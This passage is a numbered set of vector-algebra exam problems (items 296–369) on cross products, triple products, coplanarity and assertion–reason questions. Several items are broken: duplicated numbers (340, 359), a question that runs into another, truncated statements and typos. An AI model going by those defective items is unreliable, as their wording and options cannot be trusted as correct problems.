\] holds if and only if 296. If $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ are non coplanar and unit vectors such that $$\overrightarrow{a} \times (\overrightarrow{b} \times \overrightarrow{c}) = \frac{\overrightarrow{b} + \overrightarrow{c}}{\sqrt{2}}$$ then the angle between $\overrightarrow{a}$ and $\overrightarrow{b}$ is (A) $\frac{3\pi}{4}$ (B) $\frac{\pi}{4}$ (C) $\frac{\pi}{2}$ (D) $\pi$ 297. Let $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ be non-zero vectors such that no two are collinear and $$(\overrightarrow{a} \times \overrightarrow{b}) \times \overrightarrow{c} = \frac{1}{3} |\overrightarrow{b}| |\overrightarrow{c}| |\overrightarrow{a}|$$ if $\theta$ is the acute angle between vectors $\overrightarrow{b}$ and $\overrightarrow{c}$ then find value of $\sin \theta$. 298. If $$\overrightarrow{A} \times (\overrightarrow{B} \times \overrightarrow{C}) = \overrightarrow{B} \times (\overrightarrow{C} \times \overrightarrow{A})$$ and $$[\overrightarrow{A} \overrightarrow{B} \overrightarrow{C}] \neq 0$$ then $\overrightarrow{A} \cdot (\overrightarrow{B} \times \overrightarrow{C})$ is equal to (A) 0 (B) $\overrightarrow{A} \times \overrightarrow{B}$ (C) $\overrightarrow{B} \times \overrightarrow{C}$ (D) $\overrightarrow{C} \times \overrightarrow{A}$ 299. If \(\vec{a} = \hat{i} + 2\hat{j} + 3\hat{k}\), \(\vec{b} = \hat{i} \times (\vec{a} \times \hat{i}) + \hat{j} \times (\vec{a} \times \hat{j}) + \hat{k} \times (\vec{a} \times \hat{k})\) then length of \(\vec{b}\) is equal to (A) \(\sqrt{12}\) (B) \(2\sqrt{12}\) (C) \(2\sqrt{14}\) (D) \(3\sqrt{12}\) 300. Let \(\vec{a} = \hat{i} - \hat{j}\), \(\vec{b} = \hat{j} - \hat{k}\), \(\vec{c} = \hat{k} - \hat{i}\). If \(\hat{d}\) is a unit vector such that \(\vec{a} \cdot \hat{d} = 0 = \begin{vmatrix} \vec{b} & \vec{c} & \vec{d} \end{vmatrix}\) then \(\hat{d}\) equals 301. If \(\vec{a} = \hat{i} + \hat{j} + \hat{k}\), \(\vec{b} = \hat{i} + \hat{j}\), \(\vec{c} = \hat{i}\) and \((\vec{a} \times \vec{b}) \times \vec{c} = \lambda \vec{a} + \mu \vec{b}\), then \(\lambda + \mu\) is equal to 302. Given \((\overrightarrow{a} \times \overrightarrow{b}) \times (\overrightarrow{c} \times \overrightarrow{d}) = 5\overrightarrow{c} + 6\overrightarrow{d}\) then the value of \(\overrightarrow{a} \cdot (\overrightarrow{b} \times (\overrightarrow{a} + \overrightarrow{c} + 2\overrightarrow{d}))\) is (A) 7 (B) 16 (C) -1 (D) 4 303. If \(\overrightarrow{a} \times [\overrightarrow{a} \times \{\overrightarrow{a} \times (\overrightarrow{a} \times \overrightarrow{b})\}] = |\overrightarrow{a}|^4 \overrightarrow{b}\) how are \(\overrightarrow{a}\) and \(\overrightarrow{b}\) related? (A) \(\overrightarrow{a}\) and \(\overrightarrow{b}\) are coplanar (B) \(\overrightarrow{a}\) and \(\overrightarrow{b}\) are collinear (C) \(\overrightarrow{a}\) is perpendicular to \(\overrightarrow{b}\) (D) \(\overrightarrow{a}\) is parallel to \(\overrightarrow{b}\) but \(\overrightarrow{a}\) and \(\overrightarrow{b}\) are non-collinear 304. If \((\overrightarrow{a} \times \overrightarrow{b}) \times \overrightarrow{c} = \overrightarrow{a} \times (\overrightarrow{b} \times \overrightarrow{c})\), where \(\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}\) are any three vectors such that \(\overrightarrow{a} \cdot \overrightarrow{b} \neq 0, \overrightarrow{b} \cdot \overrightarrow{c} \neq 0\), then \(\overrightarrow{a}\) and \(\overrightarrow{c}\) are (A) inclined at an angle \(\frac{\pi}{3}\) to each other (B) inclined at an angle of \(\frac{\pi}{6}\) to each other (C) perpendicular (D) parallel 305. If the vectors $\hat{i} - \hat{j}$, $\hat{j} + \hat{k}$ and $a$ form a triangle, then $a$ may be 306. If vectors $\vec{a}$ and $\vec{b}$ are non collinear then $\frac{\vec{a}}{|\vec{a}|} + \frac{\vec{b}}{|\vec{b}|}$ is (A) a unit vector (B) in the plane of $\vec{a}$ and $\vec{b}$ (C) equally inclined to $\vec{a}$ and $\vec{b}$ (D) perpendicular to $\vec{a} \times \vec{b}$ 307. Vectors Perpendicular to $\hat{i} - \hat{j} - \hat{k}$ and in the plane of $\hat{i} + \hat{j} + \hat{k}$ and $-\hat{i} + \hat{j} + \hat{k}$ are 308. The vector $\hat{i} + x\hat{j} + 3\hat{k}$ is rotated through an angle $\theta$ and is doubled in magnitude. It now becomes $4\hat{i} + (4x - 2)\hat{j} + 2\hat{k}$. The values of $x$ are 309. If side $\overrightarrow{AB}$ of an equilateral triangle ABC lying in the x-y plane is $3\hat{i}$. Then side $\overrightarrow{CB}$ can be 310. If vectors $\overrightarrow{A} = 2\hat{i} + 3\hat{j} + 4\hat{k}$, $\overrightarrow{B} = \hat{i} + \hat{j} + 5\hat{k}$ and $\overrightarrow{C}$ from a left-handed system, then $\overrightarrow{C}$ is 311. If $\overrightarrow{a} + 2\overrightarrow{b} + 3\overrightarrow{c} = 0$, then $\overrightarrow{a} \times \overrightarrow{b} + \overrightarrow{b} \times \overrightarrow{c} + \overrightarrow{c} \times \overrightarrow{a} =$ 312. Unit vectors $\vec{a}$ and $\vec{b}$ are perpendicular, and unit vector $\vec{c}$ is inclined at angle $\theta$ to both $\vec{a}$ and $\vec{b}$. If $\vec{c} = \alpha \vec{a} + \beta \vec{b} + \gamma (\vec{a} \times \vec{b})$, then a. $\alpha = \beta$ b. $\gamma^1 = 1 - 2\alpha^2$ c. $\gamma^2 = -\cos 2\theta$ d. $\beta^2 = \frac{1 + \cos 2\theta}{2}$ 313. The equation of the line through the point $\vec{a}$ parallel to the plane $\vec{r} \cdot \vec{n} = q$ and perpendicular to the line $\vec{r} = \vec{b} + t \vec{c}$ is (A) $\vec{r} = \vec{a} + \lambda (\vec{n} \times \vec{c})$ (B) $(\vec{r} - \vec{a}) \times (\vec{n} \times \vec{c}) = 0$ (C) $\vec{r} = \vec{b} + \lambda (\vec{n} \times \vec{c})$ (D) none of these 314. If $\vec{a}$ and $\vec{b}$ are two non-collinear vectors and $\vec{u} = \vec{a} - (\vec{a} \cdot \vec{b}) \vec{b}$ and $\vec{v} = \vec{a} \times \vec{b}$ then $\vec{v}$ is 315. A line passes through the points whose position vectors are $\hat{i} + \hat{j} - 2\hat{k}$ and $\hat{i} - 3\hat{j} + \hat{k}$. The position vector of a point on it at unit distance from the first point is 316. A vector of magnitude 2 along a bisector of the angle between the two vectors $2\hat{i} - 2\hat{j} + \hat{k}$ and $\hat{i} + 2\hat{j} - 2\hat{k}$ is (A) $\frac{2}{\sqrt{10}}(3\hat{i} - \hat{k})$ (B) $\frac{2}{\sqrt{23}}(\hat{i} - 3\hat{j} + 3\hat{k})$ (C) $\frac{1}{\sqrt{26}}(\hat{i} - 4\hat{j} + 3\hat{k})$ (D) none of these 317. A unit vector which is equally inclined to the vector $\hat{i}$, $\frac{-2\hat{i} + \hat{j} + 2\hat{k}}{3}$ and $\frac{-4\hat{j} - 3\hat{k}}{5}$ (A) $\frac{1}{\sqrt{51}}(-\hat{i} + 5\hat{j} - 5\hat{k})$ (B) $\frac{1}{\sqrt{51}}(\hat{i} - 5\hat{j} + 5\hat{k})$ (C) $\frac{1}{\sqrt{51}}(\hat{i} + 5\hat{j} - 5\hat{k})$ (D) $\frac{1}{\sqrt{51}}(\hat{i} + 5\hat{j} + 5\hat{k})$ 318. Three points whose position vectors are $\vec{a}$, $\vec{b}$, $\vec{c}$ will be collinear if (A) $\lambda \vec{a} + \mu \vec{b} = (\lambda + \mu) \vec{c}$ (B) $\vec{a} \times \vec{b} + \vec{b} \times \vec{c} + \vec{c} \times \vec{a} = 0$ (C) \[ \begin{vmatrix} \vec{a} & \vec{b} & \vec{c} \end{vmatrix} = 0 \] (D) none of these 319. Let $\vec{b} = 4\hat{i} + 3\hat{j}$ and $\vec{c}$ be two vectors perpendicular to each other in the xy-plane. All vectors in the same plane having projections 1 and 2 along $\vec{b}$ and $\vec{c}$, respectively, are given by _______ 320. If $\vec{a}$, $\vec{b}$ and $\vec{c}$ are non coplanar and non zero vectors and $\vec{r}$ is any vector in space then \[ \begin{vmatrix} \vec{c} & \vec{r} & \vec{b} \end{vmatrix} \vec{a} + \begin{vmatrix} \vec{a} & \vec{r} & \vec{c} \end{vmatrix} \vec{b} + \begin{vmatrix} \vec{b} & \vec{r} & \vec{a} \end{vmatrix} \vec{c} = \] (A) \[ \begin{vmatrix} \vec{a} & \vec{b} & \vec{c} \end{vmatrix} \] (B) \[ \begin{vmatrix} \vec{a} & \vec{b} & \vec{c} \end{vmatrix} \] $\vec{r}$ (C) \[ \frac{\vec{r}}{\begin{vmatrix} \vec{a} & \vec{b} & \vec{c} \end{vmatrix}} \] (D) $\vec{r} \cdot \left( \vec{a} + \vec{b} + \vec{c} \right)$ 321. If $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}$ are non coplanar non-zero vectors such that $\overrightarrow{b} \times \overrightarrow{c} = \overrightarrow{a} \times \overrightarrow{b} = \overrightarrow{c}$ and $\overrightarrow{c} \times \overrightarrow{a} = \overrightarrow{b}$ then $|\overrightarrow{a}| + |\overrightarrow{b}| + |\overrightarrow{c}|$ is equal to 322. If $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}$ be non coplanar vectors and $\overrightarrow{p} = \frac{\overrightarrow{b} \times \overrightarrow{c}}{[\overrightarrow{a} \overrightarrow{b} \overrightarrow{c}]}$, $\overrightarrow{q} = \frac{\overrightarrow{c} \times \overrightarrow{a}}{[\overrightarrow{a} \overrightarrow{b} \overrightarrow{c}]}$, $\overrightarrow{r} = \frac{\overrightarrow{a} \times \overrightarrow{b}}{[\overrightarrow{a} \overrightarrow{b} \overrightarrow{c}]}$ then (A) $\overrightarrow{p} \cdot \overrightarrow{a} = 1$ (B) $\overrightarrow{p} \cdot \overrightarrow{a} + \overrightarrow{q} \cdot \overrightarrow{b} + \overrightarrow{r} \cdot \overrightarrow{c} = 3$ (C) $\overrightarrow{p} \cdot \overrightarrow{a} + \overrightarrow{q} \cdot \overrightarrow{b} + \overrightarrow{r} \cdot \overrightarrow{c} = 0$ (D) none of these 323. If $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ are any three vectors then $(\overrightarrow{a} \times \overrightarrow{b}) \times \overrightarrow{c}$ is a vector (A) perpendicular to $\overrightarrow{a} \times \overrightarrow{b}$ (B) coplanar with $\overrightarrow{a}$ and $\overrightarrow{b}$ (C) parallel to $\overrightarrow{c}$ (D) parallel to either $\overrightarrow{a}$ or $\overrightarrow{b}$ 324. If $\overrightarrow{c} = \overrightarrow{a} \times \overrightarrow{b}$ and $\overrightarrow{b} = \overrightarrow{c} \times \overrightarrow{a}$ then (A) $\overrightarrow{a} \cdot \overrightarrow{b} = \overrightarrow{c}^2$ (B) $\overrightarrow{c} \cdot \overrightarrow{a} = \overrightarrow{b}^2$ (C) $\overrightarrow{a} \perp \overrightarrow{b}$ (D) $\overrightarrow{a} \parallel \overrightarrow{b} \times \overrightarrow{c}$ 325. If $\overrightarrow{x} \times \overrightarrow{b} = \overrightarrow{c} \times \overrightarrow{b}$ and $\overrightarrow{x} \perp \overrightarrow{a}$ then $\overrightarrow{x}$ is equal to (A) $\left( \frac{\overrightarrow{b} \times \overrightarrow{c}}{\overrightarrow{b} \cdot \overrightarrow{a}} \right) \times \overrightarrow{a}$ (B) $\left( \frac{\overrightarrow{b} \times (\overrightarrow{a} \times \overrightarrow{c})}{\overrightarrow{b} \cdot \overrightarrow{c}} \right)$ (C) $\left( \frac{\overrightarrow{a} \times (\overrightarrow{c} \times \overrightarrow{b})}{\overrightarrow{a} \cdot \overrightarrow{b}} \right)$ (D) none of these 326. The resolved part of the vector $\overrightarrow{a}$ along the vector $\overrightarrow{b}$ is $\lambda$ and that perpendicular to $\overrightarrow{b}$ is $\mu$. Then (A) $\overrightarrow{\lambda} = \frac{(\overrightarrow{a} \cdot \overrightarrow{b}) \cdot \overrightarrow{a}}{\overrightarrow{b}^2}$ (B) $\overrightarrow{\lambda} = \frac{(\overrightarrow{a} \cdot \overrightarrow{b}) \cdot \overrightarrow{b}}{\overrightarrow{b}^2}$ (C) $\overrightarrow{\mu} = \frac{(\overrightarrow{b} \cdot \overrightarrow{b}) \overrightarrow{a} - (\overrightarrow{a} \cdot \overrightarrow{b}) \overrightarrow{b}}{\overrightarrow{b}^2}$ (D) $\overrightarrow{\mu} = \frac{\overrightarrow{b} \times (\overrightarrow{a} \times \overrightarrow{b})}{\overrightarrow{b}^2}$ 327. If $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}, \overrightarrow{d}$ are any four vectors then $(\overrightarrow{a} \times \overrightarrow{b}) \times (\overrightarrow{c} \times \overrightarrow{d})$ is a vector (A) perpendicular to $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}, \overrightarrow{d}$ (B) along the line intersection of two planes, one containing $\overrightarrow{a}, \overrightarrow{b}$ and the other containing $\overrightarrow{c}, \overrightarrow{d}$. (C) equally inclined both $\overrightarrow{a} \times \overrightarrow{b}$ and $\overrightarrow{c} \times \overrightarrow{d}$ (D) none of these 328. If \((\vec{a} \times \vec{b}) \times \vec{c} = \vec{a} x (\vec{b} \times \vec{c})\) then (A) \((\vec{c} \times \vec{a}) \times \vec{b} = 0\) (B) \(\vec{b} \times (\vec{c} \times \vec{a}) = 0\) (C) \(\vec{c} \times (\vec{a} \times \vec{b}) = 0\) (D) none of these 329. If vector \(\vec{b} = \left( \tan \alpha, -1, 2\sqrt{\sin \alpha / 2} \right)\) and \(\vec{c} = \left( \tan \alpha, \tan \alpha, -\frac{3}{\sqrt{\sin \alpha / 2}} \right)\) are orthogonal and vector \(\vec{a} = (1, 3, \sin 2\alpha)\) makes an obtuse angle with the z-axis, then the value of \(\alpha\) is 330. If \(a = \hat{i} + \hat{j} + \hat{k}\) and \(b = \hat{i} - \hat{j}\), then vectors \(\left( (a \cdot \hat{i}) \hat{i} + (a \cdot \hat{j}) \hat{j} + (a \cdot \hat{k}) \hat{k} \right)\), \(\left( (b \cdot \hat{i}) \hat{i} + (b \cdot \hat{j}) \hat{j} + (b \cdot \hat{k}) \hat{k} \right)\) and \((\hat{i} + \hat{j} + \hat{k})\) are 331. If unit vectors $\hat{i}$ and $\hat{j}$ are at right angles to each other and $p = 3\hat{i} + 4\hat{j}$, $q = 5\hat{i}$, $4r = p + q$ and $2s = p - q$, then 332. If vectors $\vec{a}$ and $\vec{b}$ are non collinear then $\frac{\vec{a}}{|\vec{a}|} + \frac{\vec{b}}{|\vec{b}|}$ is (A) a unit vector (B) in the plane of $\vec{a}$ and $\vec{b}$ (C) equally inclined to $\vec{a}$ and $\vec{b}$ (D) perpendicular to $\vec{a} \times \vec{b}$ 333. The position vectors of the points P and Q are $5\hat{i} + 7\hat{j} - 2\hat{k}$ and $-3\hat{i} + 3\hat{j} + 6\hat{k}$, respectively. Vector $\vec{A} = 3\hat{i} - \hat{j} + \hat{k}$ passes through point P and vector $\vec{B} = -3\hat{i} + 2\hat{j} + 4\hat{k}$ passes through point Q. A third vector $2\hat{i} + 7\hat{j} - 5\hat{k}$ intersects vectors A and B. Find the position vectors of points of intersection. 334. The vectors $\vec{a} = 3\hat{i} - 2\hat{j} + 2\hat{k}$ and $\vec{b} = -\hat{i} - 2\hat{k}$ are the adjacent sides of a parallelogram. The angle between its diagonals is...... 335. The vectors $a\hat{i} + 2a\hat{j} - 3a\hat{k}$, $(2a + 1)\hat{i} + (2a + 3)\hat{j} + (a + 1)\hat{k}$ and $(3a + 5)\hat{i} + (a + 5)\hat{j} + (a + 2)\hat{k}$ are non coplanar for $a$ belonging to the set (A) R - {0} (B) (0, ∞) (C) (-∞,1) (D) (1,∞) 336. The volume of the tetrahedron whose vertices are the points with position vectors $\hat{i} - 6\hat{j} + 10\hat{k}$, $-\hat{i} - 3\hat{j} + 7\hat{k}$, $5\hat{i} - \hat{j} + \lambda\hat{k}$ and $7\hat{i} - 4\hat{j} + 7\hat{k}$ is 11 cubic units if the value of $\lambda$ is 337. If $\overrightarrow{a}$ satisfies $\overrightarrow{a} \times (\hat{i} + 2\hat{j} + \hat{k}) = \hat{i} - \hat{k}$ then $\overrightarrow{a}$ is equal to 338. If $\overrightarrow{DA} = \overrightarrow{a}, \overrightarrow{AB} = \overrightarrow{b}$ and $\overrightarrow{CB} = k \overrightarrow{a}$ where $k > 0$ and X, Y are the midpoint of DB and AC respectively such that $|\overrightarrow{a}| = 17$ and $|\overrightarrow{XY}| = 4$, then $k$ is equal to (A) $\frac{9}{17}$ (B) $\frac{8}{17}$ (C) $\frac{25}{17}$ (D) $\frac{4}{17}$ 339. $\overrightarrow{a}$ and $\overrightarrow{c}$ are unit vectors and $|\overrightarrow{b}| = 4$ the angle between $\overrightarrow{a}$ and $\overrightarrow{b}$ is $\cos^{-1}(1/4)$ and $\overrightarrow{b} - 2\overrightarrow{c} = \lambda \overrightarrow{a}$ the value of $\lambda$ is 340. If the resultant of three forces $\overrightarrow{F}_1 = p\hat{i} + 3\hat{j} - \hat{k}, \overrightarrow{F}_2 = 6\hat{i} - \hat{k}$ and $\overrightarrow{F}_3 = -5\hat{i} + \hat{j} + 2\hat{k}$ acting on a 340. If $\vec{a}$ is a unit vector and $\vec{b}$ is a vector such that $|\vec{b}| = 5$ and $\vec{a} \cdot \vec{b} = -6$, then the value of $p$ is - a. $-6$ - b. $-4$ - c. $2$ - d. $4$ 341. If $\vec{a}$ and $\vec{b}$ are two unit vectors perpendicular to each other and $\vec{c} = \lambda_1 \vec{a} + \lambda_2 \vec{b} + \lambda_3 (\vec{a} \times \vec{b})$ then the following is (are) true 342. If $\vec{a} \times \vec{b} = \vec{c} \times \vec{d}$ and $\vec{a} \times \vec{c} = \vec{b} \times \vec{d}$ then (A) $(\vec{a} - \vec{d}) = \lambda (\vec{b} - \vec{c})$ (B) $\vec{a} + \vec{d} = \lambda (\vec{b} + \vec{c})$ (C) $(\vec{a} - \vec{b}) = \lambda (\vec{c} + \vec{d})$ (D) none of these 343. If A, B, C are three points with position vectors $\vec{i} + \vec{j}$, $\vec{i} - \vec{j}$ and $p \vec{i} + q \vec{j} + r \vec{k}$ respectively then the points are collinear if (A) \( p = q = r = 0 \) (B) \( p = qr = 1 \) (C) \( p = q, r = 0 \) (D) \( p = 1, q = 2, r = 0 \) 344. If \( |\overrightarrow{a}| = 4, |\overrightarrow{b}| = 2 \) and angle between \( \overrightarrow{a} \) and \( \overrightarrow{b} \) is \( \frac{\pi}{6} \) then \( (\overrightarrow{a} \times \overrightarrow{b})^2 \) is (A) 48 (B) \( (\overrightarrow{a})^2 \) (C) 16 (D) 32 345. If unit vectors \( \overrightarrow{a} \) and \( \overrightarrow{b} \) are inclined at an angle \( 2\theta \) such that \( |\overrightarrow{a} - \overrightarrow{b}| < 1 \) and \( 0 \leq \theta \leq \pi \), then \( \theta \) lies in the interval 346. The vectors \( 2\hat{i} - m\hat{j} + 3\hat{k} \) and \( (1 + m)\hat{i} - 2m\hat{j} + \hat{k} \) include an acute angle for 347. The vectors $\overrightarrow{a} = x\hat{i} - 2\hat{j} + 5\hat{j}$ and $\overrightarrow{b} = \hat{i} + y\hat{j} - z\hat{k}$ are collinear if (A) $x = 1, y = -2, z = -5$ (B) $x = \frac{1}{2}, y = -4, z = -10$ (C) $x = -\frac{1}{2}, y = 4, z = 10$ (D) none of these 348. $\overrightarrow{a} = 2\hat{i} - \hat{j} + \hat{k}$, $\overrightarrow{b} = \hat{j} + 2\hat{j} - \hat{k}$, $\overrightarrow{c} = \hat{i} + \hat{j} - 2\hat{k}$. A vector coplanar with $\overrightarrow{b}$ and $\overrightarrow{c}$. Whose projection on $\overrightarrow{a}$ is magnitude $\sqrt{\frac{2}{3}}$ is 349. The vectors $(x, x+1, x+2), (x+3, x+3, x+5)$ and $(x+6, x+7, x+8)$ are coplanar for (A) all values of $x$ (B) $x < 0$ (C) $x > 0$ (D) none of these 350. If $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}$ are three non coplanar vectors such that \[ \overrightarrow{r}_1 = \overrightarrow{a} - \overrightarrow{b} + \overrightarrow{c}, \quad \overrightarrow{r}_2 = \overrightarrow{b} + \overrightarrow{c} - \overrightarrow{a}, \quad \overrightarrow{r}_3 = \overrightarrow{c} + \overrightarrow{a} + \overrightarrow{b}, \quad \overrightarrow{r} = 2\overrightarrow{a} - \] then (A) $\lambda_1 = \frac{7}{2}$ (B) $\lambda_1 + \lambda_2 = 3$ (C) $\lambda_2 + \lambda_3 = 2$ (D) $\lambda_1 + \lambda_2 + \lambda_3 = 4$ 351. A parallelogram is constructed on the vectors \[ \overrightarrow{a} = 3\overrightarrow{\alpha} - \overrightarrow{\beta}, \quad \overrightarrow{b} = \overrightarrow{\alpha} + 3\overrightarrow{\beta}. \text{ If } |\overrightarrow{\alpha}| = |\overrightarrow{\beta}| = 2 \text{ and angle between } \overrightarrow{\alpha} \text{ and } \overrightarrow{\beta} \text{ is } \frac{\pi}{3} \text{ then the length of a diagonal of the parallelogram is} \] 352. If vector $\overrightarrow{a} + \overrightarrow{b}$ bisects the angle between $\overrightarrow{a}$ and $\overrightarrow{b}$, then prove that $|\overrightarrow{a}| = |\overrightarrow{b}|$. 353. Assertion: Points A, B, C are collinear, Reason: \(\overrightarrow{AB} \times \overrightarrow{AC} = 0\) (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not the correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 354. Assertion: \((\overrightarrow{a} \times \overrightarrow{b}) \times (\overrightarrow{c} \times \overrightarrow{d}) = \left[ \begin{array}{ccc} \overrightarrow{a} & \overrightarrow{c} & \overrightarrow{d} \end{array} \right] \overrightarrow{b} - \left[ \begin{array}{ccc} \overrightarrow{b} & \overrightarrow{c} & \overrightarrow{d} \end{array} \right] \overrightarrow{a}\) Reason: \((\overrightarrow{a} \times \overrightarrow{b}) \times \overrightarrow{c} = (\overrightarrow{a} \cdot \overrightarrow{c}) \overrightarrow{b} - (\overrightarrow{b} \cdot \overrightarrow{c}) \overrightarrow{a}\) (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not the correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 355. Assertion: If \( |\overrightarrow{a}| = |\overrightarrow{b}| = |\overrightarrow{a} + \overrightarrow{b}| = 1 \), then angle between \(\overrightarrow{a}\) and \(\overrightarrow{b}\) is \(\frac{2\pi}{3}\). Reason: \( |\overrightarrow{a} + \overrightarrow{b}|^2 = |\overrightarrow{a}|^2 + |\overrightarrow{b}|^2 + 2(\overrightarrow{a} \cdot \overrightarrow{b}) \) (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not the correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 356. Assertion: If the magnitude of the sum of two unit vectors is a unit vector, then magnitude of their difference is \(\sqrt{3}\). Reason: \( |\overrightarrow{a}| + |\overrightarrow{b}| = |\overrightarrow{a} + \overrightarrow{b}| \) (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not the correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 357. Assertion: Suppose \(\hat{a}, \hat{b}, \hat{c}\) are unit vectors such that \(\hat{a}, \hat{b} = \hat{a}. \hat{c} = 0\) and the angle between \(\hat{b}\) and \(\hat{c}\) is \(\frac{\pi}{6}\). Then the vector \(\hat{a}\) can be represented... as \( \hat{a} = \pm 2(\hat{b} \times \hat{c}) \), Reason: \( \hat{a} = \pm \frac{\hat{b} \times \hat{c}}{|\hat{b} \times \hat{c}|} \) (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 358. Assertion: The value of expression \( \hat{i} \cdot (\hat{j} \times \hat{k}) + \hat{j} \cdot (\hat{k} \times \hat{i}) + \hat{k} \cdot (\hat{i} \times \hat{j}) \) is equal to 3, Reason: If \( \hat{a}, \hat{b}, \hat{c} \) are mutually perpendicular unit vectors, then \( [\hat{a}\hat{b}\hat{c}] = 1 \) (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 359. Assertion ABCDEF is a regular hexagon and \( \overrightarrow{AB} = \overrightarrow{a}, \overrightarrow{BC} = \overrightarrow{b} \) and \( \overrightarrow{CD} = \overrightarrow{c} \), then \( \overrightarrow{EA} \) is equal to \( -\left( \overrightarrow{b} + \overrightarrow{c} \right) \), 359. Assertion: $\overrightarrow{AE} = \overrightarrow{BD} = \overrightarrow{BC} + \overrightarrow{CD}$ Reason: Both A and R are true and R is the correct explanation of A. (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 360. Assertion: If $\overrightarrow{A}, \overrightarrow{B}, \overrightarrow{C}$ are any three non coplanar vectors then $$\frac{\overrightarrow{A} \cdot (\overrightarrow{B} \times \overrightarrow{C})}{(\overrightarrow{C} \times \overrightarrow{A}) \cdot \overrightarrow{B}} + \frac{\overrightarrow{B} \cdot (\overrightarrow{A} \times \overrightarrow{C})}{\overrightarrow{C} \cdot (\overrightarrow{A} \times \overrightarrow{B})} = 0,$$ Reason: $$\begin{bmatrix} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \\ \overrightarrow{b} & \overrightarrow{c} & \overrightarrow{a} \end{bmatrix} \neq \begin{bmatrix} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{bmatrix}$$ (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 361. Assertion: $\overrightarrow{p}, \overrightarrow{q}$ and $\overrightarrow{r}$ are coplanar. Reason: Vectros $\overrightarrow{p}, \overrightarrow{q}, \overrightarrow{r}$ are linearly independent. (A) Both A and R are true and R is the correct 362. Assertion: $\vec{r} \cdot \vec{a}$ and $\vec{b}$ are three vectors such that $\vec{r}$ is perpendicular to $\vec{a}$. If $\vec{r} \times \vec{a} = \vec{b}$ then $\vec{r} = \frac{\vec{a} \times \vec{b}}{\vec{a} \cdot \vec{a}}$, Reason: $\vec{r} \cdot \vec{a} = 0$ (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 363. Let $\vec{r} = l(\vec{a} \times \vec{b}) + m(\vec{b} \times \vec{c}) + n(\vec{c} \times \vec{a})$, where $l, m, n$ are scalars and $\begin{vmatrix} \vec{a} & \vec{b} & \vec{c} \end{vmatrix} = \frac{1}{2}$, then $l + m + n = 2\vec{r} \cdot (\vec{a} + \vec{b} + \vec{c})$. Reason: $\vec{a}, \vec{b}, \vec{c}$ are coplanar (A) Both A and R are true and R is the 364. Assertion: If \(\vec{x} \times \vec{b} = \vec{c} \times \vec{b}\) and \(\vec{x} \perp \vec{a}\), then \(\vec{x} = \frac{\left( \vec{b} \times \vec{c} \right) \times \vec{a}}{\vec{a} \cdot \vec{b}}\). Reason: \(\vec{a} \times \left( \vec{b} \times \vec{c} \right) = \left( \vec{a} \cdot \vec{c} \right) \vec{b} - \left( \vec{a} \cdot \vec{b} \right) \vec{c}\) (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 365. Assertion: If \(\overrightarrow{AB} = 3\hat{i} - 3\hat{k}\) and \(\overrightarrow{AC} = \hat{i} - 2\hat{j} + \hat{k}\), then \(|\overrightarrow{AM}| = \sqrt{6}\) Reason, \(\overrightarrow{AB} + \overrightarrow{AC} = 2\overrightarrow{AM}\) (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 366. Assertion: \( \left| \overrightarrow{a} + \overrightarrow{b} \right| < \left| \overrightarrow{a} - \overrightarrow{b} \right| \), Reason: \( \left| \overrightarrow{a} + \overrightarrow{b} \right|^2 = \left| \overrightarrow{a} \right|^2 + \left| \overrightarrow{b} \right|^2 + 2 \overrightarrow{a} \cdot \overrightarrow{b} \). (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 367. Assertion: In \( \triangle ABC, \overrightarrow{AB} + \overrightarrow{BC} + \overrightarrow{CA} = 0 \) Reason: If \( \overrightarrow{OA} = \overrightarrow{a}, \overrightarrow{OB} = \overrightarrow{b} \) then \( \overrightarrow{AB} = \overrightarrow{a} + \overrightarrow{b} \) (triangle law of addition) (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 368. Assertion: If I is the incentre of $\triangle ABC$, then $|\vec{BC}||\vec{IA}| + |\vec{CA}||\vec{IB}| + |\vec{AB}||\vec{IC}| = 0$ Reason: If O is the origin, then the position vector of centroid of $\triangle ABC$ is $\frac{\overrightarrow{OA} + \overrightarrow{OB} + \overrightarrow{OC}}{3}$ 369. Assertion: $\vec{a} = \hat{i} + p\hat{j} + 2\hat{k}$ and $\vec{b} = 2\hat{i} + 3\hat{j} + q\hat{k}$ are parallel vectors if $p = \frac{3}{2}, q = 4$. Reason: If $\vec{a} = a_1\hat{i} + a_2\hat{j} + a_3\hat{k}$ and $\vec{b} = b_1\hat{i} + b_2\hat{j} + b_3\hat{k}$ are parallel, then $a_1/b_1 = a_2/b_2 